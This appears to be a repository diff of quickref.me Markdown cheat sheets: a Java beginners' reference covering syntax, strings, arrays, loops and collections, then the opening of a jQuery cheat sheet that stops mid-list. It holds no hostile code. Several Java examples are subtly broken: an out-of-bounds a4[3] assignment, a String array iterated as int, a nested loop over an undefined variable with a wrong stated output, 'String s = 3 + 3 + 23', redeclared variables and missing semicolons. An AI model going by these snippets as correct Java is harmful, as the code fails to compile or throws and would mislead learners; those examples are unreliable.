This cheat sheet is a crash course for Java beginners and help review the basic syntax of the Java language.
|
||||
plugins:
|
||||
- tooltip
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------
|
||||
|
||||
### Hello.java {.row-span-2}
|
||||
```java
|
||||
public class Hello {
|
||||
// main method
|
||||
public static void main(String[] args)
|
||||
{
|
||||
// Output: Hello, world!
|
||||
System.out.println("Hello, world!");
|
||||
}
|
||||
}
|
||||
```
|
||||
Compiling and running
|
||||
```shell script
|
||||
$ javac Hello.java
|
||||
$ java Hello
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Variables
|
||||
```java
|
||||
int num = 5;
|
||||
float floatNum = 5.99f;
|
||||
char letter = 'D';
|
||||
boolean bool = true;
|
||||
String site = "quickref.me";
|
||||
```
|
||||
|
||||
### Primitive Data Types {.row-span-2}
|
||||
| Data Type | Size | Default | Range |
|
||||
|-----------|--------|---------|---------------------|
|
||||
| `byte` | 1 byte | 0 | -128 ^to^ 127 |
|
||||
| `short` | 2 byte | 0 | -2^15^ ^to^ 2^15^-1 |
|
||||
| `int` | 4 byte | 0 | -2^31^ ^to^ 2^31^-1 |
|
||||
| `long` | 8 byte | 0 | -2^63^ ^to^ 2^63^-1 |
|
||||
| `float` | 4 byte | 0.0f | _N/A_ |
|
||||
| `double` | 8 byte | 0.0d | _N/A_ |
|
||||
| `char` | 2 byte | \\u0000 | 0 ^to^ 65535 |
|
||||
| `boolean` | _N/A_ | false | true / false |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### Strings
|
||||
```java
|
||||
String first = "John";
|
||||
String last = "Doe";
|
||||
String name = first + " " + last;
|
||||
System.out.println(name);
|
||||
```
|
||||
See: [Strings](#java-strings)
|
||||
|
||||
|
||||
|
||||
|
||||
### Loops
|
||||
```java
|
||||
String word = "QuickRef";
|
||||
for (char c: word.toCharArray()) {
|
||||
System.out.print(c + "-");
|
||||
}
|
||||
// Outputs: Q-u-i-c-k-R-e-f-
|
||||
```
|
||||
See: [Loops](#java-loops)
|
||||
|
||||
|
||||
### Arrays
|
||||
```java
|
||||
char[] chars = new char[10];
|
||||
chars[0] = 'a'
|
||||
chars[1] = 'b'
|
||||
|
||||
String[] letters = {"A", "B", "C"};
|
||||
int[] mylist = {100, 200};
|
||||
boolean[] answers = {true, false};
|
||||
```
|
||||
See: [Arrays](#java-arrays)
|
||||
|
||||
|
||||
### Swap
|
||||
```java
|
||||
int a = 1;
|
||||
int b = 2;
|
||||
System.out.println(a + " " + b); // 1 2
|
||||
|
||||
int temp = a;
|
||||
a = b;
|
||||
b = temp;
|
||||
System.out.println(a + " " + b); // 2 1
|
||||
```
|
||||
|
||||
### Type Casting
|
||||
```java
|
||||
// Widening
|
||||
// byte<short<int<long<float<double
|
||||
int i = 10;
|
||||
long l = i; // 10
|
||||
|
||||
// Narrowing
|
||||
double d = 10.02;
|
||||
long l = (long)d; // 10
|
||||
|
||||
String.valueOf(10); // "10"
|
||||
Integer.parseInt("10"); // 10
|
||||
Double.parseDouble("10"); // 10.0
|
||||
```
|
||||
|
||||
### Conditionals
|
||||
```java
|
||||
int j = 10;
|
||||
|
||||
if (j == 10) {
|
||||
System.out.println("I get printed");
|
||||
} else if (j > 10) {
|
||||
System.out.println("I don't");
|
||||
} else {
|
||||
System.out.println("I also don't");
|
||||
}
|
||||
```
|
||||
See: [Conditionals](#java-conditionals)
|
||||
|
||||
|
||||
|
||||
### User Input
|
||||
```java
|
||||
Scanner in = new Scanner(System.in);
|
||||
String str = in.nextLine();
|
||||
System.out.println(str);
|
||||
|
||||
int num = in.nextInt();
|
||||
System.out.println(num);
|
||||
```
|
||||
|
||||
Java Strings {.cols-3}
|
||||
-------
|
||||
|
||||
### Basic
|
||||
|
||||
```java
|
||||
String str1 = "value";
|
||||
String str2 = new String("value");
|
||||
String str3 = String.valueOf(123);
|
||||
```
|
||||
|
||||
|
||||
### Concatenation
|
||||
```java
|
||||
String s = 3 + "str" + 3; // 3str3
|
||||
String s = 3 + 3 + "str"; // 6str
|
||||
String s = "3" + 3 + "str"; // 33str
|
||||
String s = "3" + "3" + "23"; // 3323
|
||||
String s = "" + 3 + 3 + "23"; // 3323
|
||||
String s = 3 + 3 + 23; // 29
|
||||
```
|
||||
|
||||
|
||||
### StringBuilder {.row-span-3}
|
||||
StringBuilder sb = new StringBuilder(10);
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| | | | | | | | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
sb.append("QuickRef");
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| Q | u | i | c | k | R | e | f | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
sb.delete(5, 9);
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| Q | u | i | c | k | | | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
sb.insert(0, "My ");
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| M | y | | Q | u | i | c | k | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
sb.append("!");
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| M | y | | Q | u | i | c | k | ! |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
|
||||
### Comparison
|
||||
```java
|
||||
String s1 = new String("QuickRef");
|
||||
String s2 = new String("QuickRef");
|
||||
|
||||
s1 == s2 // false
|
||||
s1.equals(s2) // true
|
||||
|
||||
"AB".equalsIgnoreCase("ab") // true
|
||||
```
|
||||
|
||||
|
||||
### Manipulation
|
||||
```java
|
||||
String str = "Abcd";
|
||||
|
||||
str.toUpperCase(); // ABCD
|
||||
str.toLowerCase(); // abcd
|
||||
str.concat("#"); // Abcd#
|
||||
str.replace("b", "-"); // A-cd
|
||||
|
||||
" abc ".trim(); // abc
|
||||
"ab".toCharArray(); // {'a', 'b'}
|
||||
```
|
||||
|
||||
|
||||
### Information
|
||||
```java
|
||||
String str = "abcd";
|
||||
|
||||
str.charAt(2); // c
|
||||
str.indexOf("a") // 0
|
||||
str.indexOf("z") // -1
|
||||
str.length(); // 4
|
||||
str.toString(); // abcd
|
||||
str.substring(2); // cd
|
||||
str.substring(2,3); // c
|
||||
str.contains("c"); // true
|
||||
str.endsWith("d"); // true
|
||||
str.startsWith("a"); // true
|
||||
str.isEmpty(); // false
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Immutable
|
||||
```java
|
||||
String str = "hello";
|
||||
str.concat("world");
|
||||
|
||||
// Outputs: hello
|
||||
System.out.println(str);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
String str = "hello";
|
||||
String concat = str.concat("world");
|
||||
|
||||
// Outputs: helloworld
|
||||
System.out.println(concat);
|
||||
```
|
||||
|
||||
Once created cannot be modified, any modification creates a new String
|
||||
|
||||
|
||||
|
||||
|
||||
Java Arrays {.cols-3}
|
||||
-------
|
||||
|
||||
|
||||
### Declare
|
||||
```java
|
||||
int[] a1;
|
||||
int[] a2 = {1, 2, 3};
|
||||
int[] a3 = new int[]{1, 2, 3};
|
||||
|
||||
int[] a4 = new int[3];
|
||||
a4[0] = 1;
|
||||
a4[2] = 2;
|
||||
a4[3] = 3;
|
||||
```
|
||||
|
||||
|
||||
### Modify
|
||||
```java
|
||||
int[] a = {1, 2, 3};
|
||||
System.out.println(a[0]); // 1
|
||||
|
||||
a[0] = 9;
|
||||
System.out.println(a[0]); // 9
|
||||
|
||||
System.out.println(a.length); // 3
|
||||
```
|
||||
|
||||
|
||||
### Loop (Read & Modify)
|
||||
```java
|
||||
int[] arr = {1, 2, 3};
|
||||
for (int i=0; i < arr.length; i++) {
|
||||
arr[i] = arr[i] * 2;
|
||||
System.out.print(arr[i] + " ");
|
||||
}
|
||||
// Outputs: 2 4 6
|
||||
```
|
||||
|
||||
|
||||
### Loop (Read)
|
||||
```java
|
||||
String[] arr = {"a", "b", "c"};
|
||||
for (int a: arr) {
|
||||
System.out.print(a + " ");
|
||||
}
|
||||
// Outputs: a b c
|
||||
```
|
||||
|
||||
|
||||
### Multidimensional Arrays
|
||||
```java
|
||||
int[][] matrix = { {1, 2, 3}, {4, 5} };
|
||||
|
||||
int x = matrix[1][0]; // 4
|
||||
// [[1, 2, 3], [4, 5]]
|
||||
Arrays.deepToString(matrix)
|
||||
|
||||
for (int i = 0; i < a.length; ++i) {
|
||||
for(int j = 0; j < a[i].length; ++j) {
|
||||
System.out.println(a[i][j]);
|
||||
}
|
||||
}
|
||||
// Outputs: 1 2 3 4 5 6 7
|
||||
```
|
||||
|
||||
|
||||
### Sort
|
||||
```java
|
||||
char[] chars = {'b', 'a', 'c'};
|
||||
Arrays.sort(chars);
|
||||
|
||||
// [a, b, c]
|
||||
Arrays.toString(chars);
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Java Conditionals {.cols-3}
|
||||
-----------
|
||||
|
||||
|
||||
### Operators {.row-span-2}
|
||||
- <a href="javascript:void(0);" data-tooltip="Additive operator (also used for String concatenation)">+</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Subtraction operator">-</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Multiplication operator">*</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Division operator">/</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Remainder operator">%</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Simple assignment operator">=</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Increment operator; increments a value by 1">++</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Decrement operator; decrements a value by 1">--</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Logical complement operator; inverts the value of a boolean">!</a>
|
||||
{.style-none .cols-4}
|
||||
|
||||
----
|
||||
|
||||
- <a href="javascript:void(0);" data-tooltip="Equal to">==</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Not equal to">!=</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Greater than">></a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Greater than or equal to">>=</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Less than"><</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Less than or equal to"><=</a>
|
||||
{.style-none .cols-4}
|
||||
|
||||
----
|
||||
|
||||
- <a href="javascript:void(0);" data-tooltip="Conditional-AND">&&</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Conditional-OR">||</a>
|
||||
- [?:](#ternary-operator){data-tooltip="Ternary (shorthand for if-then-else statement)"}
|
||||
{.style-none .cols-4}
|
||||
|
||||
----
|
||||
|
||||
- <a href="javascript:void(0);" data-tooltip="Compares an object to a specified type">instanceof</a>
|
||||
{.style-none}
|
||||
|
||||
----
|
||||
|
||||
- <a href="javascript:void(0);" data-tooltip="Unary bitwise complement">~</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Signed left shift"><<</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Signed right shift">>></a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Unsigned right shift">>>></a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Bitwise AND">&</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Bitwise exclusive OR">^</a>
|
||||
- <a href="javascript:void(0);" data-tooltip="Bitwise inclusive OR">|</a>
|
||||
{.style-none .cols-4}
|
||||
|
||||
|
||||
### If else
|
||||
```java
|
||||
int k = 15;
|
||||
if (k > 20) {
|
||||
System.out.println(1);
|
||||
} else if (k > 10) {
|
||||
System.out.println(2);
|
||||
} else {
|
||||
System.out.println(3);
|
||||
}
|
||||
```
|
||||
|
||||
### Switch {.row-span-2}
|
||||
```java
|
||||
int month = 3;
|
||||
String str;
|
||||
switch (month) {
|
||||
case 1:
|
||||
str = "January";
|
||||
break;
|
||||
case 2:
|
||||
str = "February";
|
||||
break;
|
||||
case 3:
|
||||
str = "March";
|
||||
break;
|
||||
default:
|
||||
str = "Some other month";
|
||||
break;
|
||||
}
|
||||
|
||||
// Outputs: Result March
|
||||
System.out.println("Result " + str);
|
||||
```
|
||||
|
||||
|
||||
### Ternary operator
|
||||
```java
|
||||
int a = 10;
|
||||
int b = 20;
|
||||
int max = (a > b) ? a : b;
|
||||
|
||||
// Outputs: 20
|
||||
System.out.println(max);
|
||||
```
|
||||
|
||||
|
||||
Java Loops {.cols-3}
|
||||
----
|
||||
|
||||
### For Loop
|
||||
```java
|
||||
for (int i = 0; i < 10; i++) {
|
||||
System.out.print(i);
|
||||
}
|
||||
// Outputs: 0123456789
|
||||
```
|
||||
|
||||
------
|
||||
|
||||
```java
|
||||
for (int i = 0,j = 0; i < 3; i++,j--) {
|
||||
System.out.print(j + "|" + i + " ");
|
||||
}
|
||||
// Outputs: 0|0 -1|1 -2|2
|
||||
```
|
||||
|
||||
### Enhanced For Loop
|
||||
```java
|
||||
int[] numbers = {1,2,3,4,5};
|
||||
|
||||
for (int number: numbers) {
|
||||
System.out.print(number);
|
||||
}
|
||||
// Outputs: 12345
|
||||
```
|
||||
Used to loop around array's or List's
|
||||
|
||||
|
||||
### While Loop
|
||||
```java
|
||||
int count = 0;
|
||||
|
||||
while (count < 5) {
|
||||
System.out.print(count);
|
||||
count++;
|
||||
}
|
||||
// Outputs: 01234
|
||||
```
|
||||
|
||||
### Do While Loop
|
||||
```java
|
||||
int count = 0;
|
||||
|
||||
do {
|
||||
System.out.print(count);
|
||||
count++;
|
||||
} while (count < 5);
|
||||
// Outputs: 01234
|
||||
```
|
||||
|
||||
### Continue Statement
|
||||
```java
|
||||
for (int i = 0; i < 5; i++) {
|
||||
if (i == 3) {
|
||||
continue;
|
||||
}
|
||||
System.out.print(i);
|
||||
}
|
||||
// Outputs: 01245
|
||||
```
|
||||
|
||||
### Break Statement
|
||||
```java
|
||||
for (int i = 0; i < 5; i++) {
|
||||
System.out.print(i);
|
||||
if (i == 3) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
// Outputs: 0123
|
||||
```
|
||||
|
||||
Java Collections Framework {.cols-3}
|
||||
--------------------
|
||||
|
||||
### Java Collections {.col-span-2}
|
||||
|
||||
| Collection | Interface | Ordered | Sorted | Thread safe | Duplicate | Nullable |
|
||||
|--------------------------------------------------------------------------------------------------------------------|-------------|---------|--------|-------------|-----------|--------------------|
|
||||
| [ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y |
|
||||
| [Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y |
|
||||
| [LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y |
|
||||
| [CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y |
|
||||
| [HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null` |
|
||||
| [LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null` |
|
||||
| [TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_ |
|
||||
| [CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null` |
|
||||
| [ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_ |
|
||||
| [HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_ |
|
||||
| [HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_ |
|
||||
| [LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_ |
|
||||
| [TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_ |
|
||||
| [ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_ |
|
||||
| [ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_ |
|
||||
| [ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_ |
|
||||
| [PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_ |
|
||||
| [ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_ |
|
||||
| [ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_ |
|
||||
| [ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_ |
|
||||
| [LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_ |
|
||||
| [PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_ |
|
||||
{.show-header .left-text}
|
||||
|
||||
|
||||
### ArrayList
|
||||
```java
|
||||
List<Integer> nums = new ArrayList<>();
|
||||
|
||||
// Adding
|
||||
nums.add(2);
|
||||
nums.add(5);
|
||||
nums.add(8);
|
||||
|
||||
// Retrieving
|
||||
System.out.println(nums.get(0));
|
||||
|
||||
// Indexed for loop iteration
|
||||
for (int i = 0; i < nums.size(); i++) {
|
||||
System.out.println(nums.get(i));
|
||||
}
|
||||
|
||||
nums.remove(nums.size() - 1);
|
||||
nums.remove(0); // VERY slow
|
||||
|
||||
for (Integer value : nums) {
|
||||
System.out.println(value);
|
||||
}
|
||||
```
|
||||
|
||||
### HashMap
|
||||
```java
|
||||
Map<Integer, String> m = new HashMap<>();
|
||||
m.put(5, "Five");
|
||||
m.put(8, "Eight");
|
||||
m.put(6, "Six");
|
||||
m.put(4, "Four");
|
||||
m.put(2, "Two");
|
||||
|
||||
// Retrieving
|
||||
System.out.println(m.get(6));
|
||||
|
||||
// Lambda forEach
|
||||
m.forEach((key, value) -> {
|
||||
String msg = key + ": " + value;
|
||||
System.out.println(msg);
|
||||
});
|
||||
```
|
||||
|
||||
### HashSet
|
||||
```java
|
||||
Set<String> set = new HashSet<>();
|
||||
if (set.isEmpty()) {
|
||||
System.out.println("Empty!");
|
||||
}
|
||||
|
||||
set.add("dog");
|
||||
set.add("cat");
|
||||
set.add("mouse");
|
||||
set.add("snake");
|
||||
set.add("bear");
|
||||
|
||||
if (set.contains("cat")) {
|
||||
System.out.println("Contains cat");
|
||||
}
|
||||
|
||||
set.remove("cat");
|
||||
for (String element : set) {
|
||||
System.out.println(element);
|
||||
}
|
||||
```
|
||||
|
||||
### ArrayDeque
|
||||
```java
|
||||
Deque<String> a = new ArrayDeque<>();
|
||||
|
||||
// Using add()
|
||||
a.add("Dog");
|
||||
|
||||
// Using addFirst()
|
||||
a.addFirst("Cat");
|
||||
|
||||
// Using addLast()
|
||||
a.addLast("Horse");
|
||||
|
||||
// [Cat, Dog, Horse]
|
||||
System.out.println(a);
|
||||
|
||||
// Access element
|
||||
System.out.println(a.peek());
|
||||
|
||||
// Remove element
|
||||
System.out.println(a.pop());
|
||||
```
|
||||
|
||||
Misc {.cols-3}
|
||||
----
|
||||
|
||||
|
||||
### Access Modifiers {.col-span-2}
|
||||
| Modifier | Class | Package | Subclass | World |
|
||||
|-------------|-------|---------|----------|-------|
|
||||
| public | Y | Y | Y | Y |
|
||||
| protected | Y | Y | Y | _N_ |
|
||||
| no modifier | Y | Y | _N_ | _N_ |
|
||||
| private | Y | _N_ | _N_ | _N_ |
|
||||
{.show-header .left-text}
|
||||
|
||||
|
||||
### Regular expressions
|
||||
```java
|
||||
String text = "I am learning Java";
|
||||
// Removing All Whitespace
|
||||
text.replaceAll("\\s+", "");
|
||||
|
||||
// Splitting a String
|
||||
text.split("\\|");
|
||||
text.split(Pattern.quote("|"));
|
||||
```
|
||||
See: [Regex in java](/regex#regex-in-java)
|
||||
|
||||
|
||||
|
||||
### Comment
|
||||
```java
|
||||
// I am a single line comment!
|
||||
|
||||
/*
|
||||
And I am a
|
||||
multi-line comment!
|
||||
*/
|
||||
|
||||
/**
|
||||
* This
|
||||
* is
|
||||
* documentation
|
||||
* comment
|
||||
*/
|
||||
```
|
||||
|
||||
### Keywords {.col-span-2}
|
||||
- abstract
|
||||
- continue
|
||||
- for
|
||||
- new
|
||||
- switch
|
||||
- assert
|
||||
- default
|
||||
- goto
|
||||
- package
|
||||
- synchronized
|
||||
- boolean
|
||||
- do
|
||||
- if
|
||||
- private
|
||||
- this
|
||||
- break
|
||||
- double
|
||||
- implements
|
||||
- protected
|
||||
- throw
|
||||
- byte
|
||||
- else
|
||||
- import
|
||||
- public
|
||||
- throws
|
||||
- case
|
||||
- enum
|
||||
- instanceof
|
||||
- return
|
||||
- transient
|
||||
- catch
|
||||
- extends
|
||||
- int
|
||||
- short
|
||||
- try
|
||||
- char
|
||||
- final
|
||||
- interface
|
||||
- static
|
||||
- void
|
||||
- class
|
||||
- finally
|
||||
- long
|
||||
- strictfp
|
||||
- volatile
|
||||
- const
|
||||
- float
|
||||
- native
|
||||
- super
|
||||
- while
|
||||
{.style-none .cols-7}
|
||||
|
||||
### Math methods
|
||||
|
||||
| Method | Description |
|
||||
|-----------------------|------------------------|
|
||||
| `Math.max(a,b)` | Maximum of a and b |
|
||||
| `Math.min(a,b)` | Minimum of a and b |
|
||||
| `Math.abs(a)` | Absolute value a |
|
||||
| `Math.sqrt(a)` | Square-root of a |
|
||||
| `Math.pow(a,b)` | Power of b |
|
||||
| `Math.round(a)` | Closest integer |
|
||||
| `Math.sin(ang)` | Sine of ang |
|
||||
| `Math.cos(ang)` | Cosine of ang |
|
||||
| `Math.tan(ang)` | Tangent of ang |
|
||||
| `Math.asin(ang)` | Inverse sine of ang |
|
||||
| `Math.log(a)` | Natural logarithm of a |
|
||||
| `Math.toDegrees(rad)` | Angle rad in degrees |
|
||||
| `Math.toRadians(deg)` | Angle deg in radians |
|
||||
|
||||
### Try/Catch/Finally
|
||||
```java
|
||||
try {
|
||||
// something
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
System.out.println("always printed");
|
||||
}
|
||||
```
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,687 @@
|
||||
---
|
||||
title: jQuery
|
||||
date: 2020-12-24 21:08:21
|
||||
icon: icon-jquery
|
||||
background: bg-[#2c63a2]
|
||||
tags:
|
||||
- web
|
||||
- js
|
||||
- javascript
|
||||
- library
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
This [jQuery](https://jquery.com/) cheat sheet is a great reference for both beginners and experienced developers.
|
||||
plugins:
|
||||
- tooltip
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
|
||||
### Including jQuery
|
||||
|
||||
```javascript {.wrap}
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
```
|
||||
#### Official CDN
|
||||
```javascript {.wrap}
|
||||
<script src="https://code.jquery.com/jquery-3.5.1.min.js" crossorigin="anonymous"></script>
|
||||
```
|
||||
|
||||
|
||||
### jQuery syntax
|
||||
```javascript
|
||||
|
||||
$(selector).methodOrFunction();
|
||||
|
||||
```
|
||||
#### Example:
|
||||
```javascript
|
||||
$('#menu').on('click', () =>{
|
||||
$(this).hide();
|
||||
});
|
||||
|
||||
$("body").css("background", "red");
|
||||
```
|
||||
|
||||
|
||||
### jQuery document ready
|
||||
|
||||
```javascript
|
||||
|
||||
$(document).ready(function() {
|
||||
// Runs after the DOM is loaded.
|
||||
alert('DOM fully loaded!');
|
||||
});
|
||||
```
|
||||
|
||||
```javascript
|
||||
$(function(){
|
||||
// Runs after the DOM is loaded.
|
||||
alert('DOM fully loaded!');
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery Selectors {.cols-3}
|
||||
----------
|
||||
|
||||
### Examples {.secondary}
|
||||
```javascript
|
||||
$("button").click(() => {
|
||||
$(":button").css("color", "red");
|
||||
});
|
||||
```
|
||||
#### Combining selectors
|
||||
```javascript
|
||||
$("selector1, selector2 ...selectorn")
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Basics
|
||||
- [*](https://api.jquery.com/all-selector/){data-tooltip="Selects all elements."}
|
||||
- [.class](https://api.jquery.com/class-selector/){data-tooltip="Selects all elements with the given class. "}
|
||||
- [element](https://api.jquery.com/element-selector/){data-tooltip="Selects all elements with the given tag name."}
|
||||
- [#id](https://api.jquery.com/id-selector/){data-tooltip="Selects a single element with the given id attribute. "}
|
||||
- [:hidden](https://api.jquery.com/hidden-selector/){data-tooltip="Selects all elements that are hidden."}
|
||||
- [:visible](https://api.jquery.com/visible-selector/){data-tooltip="Selects all elements that are visible."}
|
||||
- [:contains()](https://api.jquery.com/contains-selector/){data-tooltip="Select all elements that contain the specified text."}
|
||||
- [:empty](https://api.jquery.com/empty-selector/){data-tooltip="Select all elements that have no children (including text nodes)."}
|
||||
- [:has()](https://api.jquery.com/has-selector/){data-tooltip="Selects elements which contain at least one element that matches the specified selector."}
|
||||
- [:parent](https://api.jquery.com/parent-selector/){data-tooltip="Select all elements that have at least one child node (either an element or text)."}
|
||||
- [parent > child](https://api.jquery.com/child-selector/){data-tooltip="Selects all direct child elements specified by child of elements specified by parent."}
|
||||
- [ancestor descendant](https://api.jquery.com/descendant-selector/){data-tooltip="Selects all elements that are descendants of a given ancestor."}
|
||||
- [prev + next](https://api.jquery.com/next-adjacent-Selector/){data-tooltip="Selects all next elements matching next that are immediately preceded by a sibling prev."}
|
||||
- [prev ~ siblings](https://api.jquery.com/next-siblings-selector/){data-tooltip="Selects all sibling elements that follow after the prev element, have the same parent, and match the filtering siblings selector."} {.col-span-2}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Basic Filters
|
||||
- [:animated](https://api.jquery.com/animated-selector/){data-tooltip="Select all elements that are in the progress of an animation at the time the selector is run."}
|
||||
- [:eq()](https://api.jquery.com/eq-selector/){data-tooltip="Select the element at index n within the matched set."}
|
||||
- [:even](https://api.jquery.com/even-selector/){data-tooltip="Selects even elements, zero-indexed. See also :odd."}
|
||||
- [:first](https://api.jquery.com/first-selector/){data-tooltip="Selects the first matched DOM element."}
|
||||
- [:gt()](https://api.jquery.com/gt-selector/){data-tooltip="Select all elements at an index greater than index within the matched set."}
|
||||
- [:header](https://api.jquery.com/header-selector/){data-tooltip="Selects all elements that are headers, like h1, h2, h3 and so on."}
|
||||
- [:lang()](https://api.jquery.com/lang-selector/){data-tooltip="Selects all elements of the specified language."}
|
||||
- [:last](https://api.jquery.com/last-selector/){data-tooltip="Selects the last matched element."}
|
||||
- [:lt()](https://api.jquery.com/lt-selector/){data-tooltip="Select all elements at an index less than index within the matched set."}
|
||||
- [:not()](https://api.jquery.com/not-selector/){data-tooltip="Selects all elements that do not match the given selector."}
|
||||
- [:odd](https://api.jquery.com/odd-selector/){data-tooltip="Selects odd elements, zero-indexed. See also :even."}
|
||||
- [:root](https://api.jquery.com/root-selector/){data-tooltip="Selects the element that is the root of the document."}
|
||||
- [:target](https://api.jquery.com/target-selector/){data-tooltip="Selects the target element indicated by the fragment identifier of the document's URI."}
|
||||
{.style-none .cols-3}
|
||||
|
||||
|
||||
### Attribute
|
||||
- [[name|="value"]](https://api.jquery.com/attribute-contains-prefix-selector/){data-tooltip="Selects elements that have the specified attribute with a value either equal to a given string or starting with that string followed by a hyphen (-)."}
|
||||
- [[name*="value"]](https://api.jquery.com/attribute-contains-selector/){data-tooltip="Selects elements that have the specified attribute with a value containing a given substring."}
|
||||
- [[name~="value"]](https://api.jquery.com/attribute-contains-word-selector/){data-tooltip="Selects elements that have the specified attribute with a value containing a given word, delimited by spaces."}
|
||||
- [[name$="value"]](https://api.jquery.com/attribute-ends-with-selector/){data-tooltip="Selects elements that have the specified attribute with a value ending exactly with a given string. The comparison is case sensitive."}
|
||||
- [[name="value"]](https://api.jquery.com/attribute-equals-selector/){data-tooltip="Selects elements that have the specified attribute with a value exactly equal to a certain value."}
|
||||
